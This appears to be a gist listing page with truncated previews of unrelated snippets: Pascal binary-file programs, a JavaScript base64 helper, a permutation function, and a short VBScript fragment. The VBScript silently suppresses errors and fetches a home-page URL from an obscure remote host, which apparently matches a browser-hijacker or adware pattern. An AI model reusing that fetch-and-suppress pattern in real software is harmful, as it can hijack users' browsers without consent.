This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
program ArchivoBinario; | |
uses SysUtils; | |
type Buffer = Array of Byte; (* Definimos el tipo de datos Buffer como un arreglo de bytes *) | |
const ContadorBytes = 2; (* Bytes usados para el BufferContador (un word tiene 2 bytes y no usa signo) *) | |
ContadorNumeroMaximo = 65535; (* 2 ^ (8 * ContadorBytes) *) | |
var BufferContador: Array [0 .. ContadorBytes - 1] of Byte; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim xmlHttp: | |
Dim homePageUrl: | |
Set xmlHttp = CreateObject("MSXML2.XMLHTTP"): | |
xmlHttp.open "GET", "http://bbtbfr.pw/GetHPHost?"&Timer(), False: | |
On Error Resume Next: | |
xmlHttp.send: | |
if xmlHttp.status = 200 then: | |
homePageUrl= xmlHttp.responseText: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
program ArchivoBinario; | |
uses SysUtils; | |
var Archivo: File; | |
Asteriscos: String; | |
Cantidad: Word; | |
Idx: Word; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function safe64(data) { | |
if ( !Buffer.isBuffer(data) ) { | |
if (typeof data !== 'string') { | |
data = Buffer.from(JSON.stringify(data)).toString('base64'); | |
} | |
} else { | |
data = data.toString('base64'); | |
} | |
return data.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, ''); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function permutar(items, cb) { | |
var length = items.length, | |
c = new Array(length).fill(0), | |
i = 1, k, p, t = 0; | |
cb(items, ++t); | |
while (i < length) { | |
if (c[i] < i) { | |
k = i % 2 && c[i]; | |
p = items[i]; |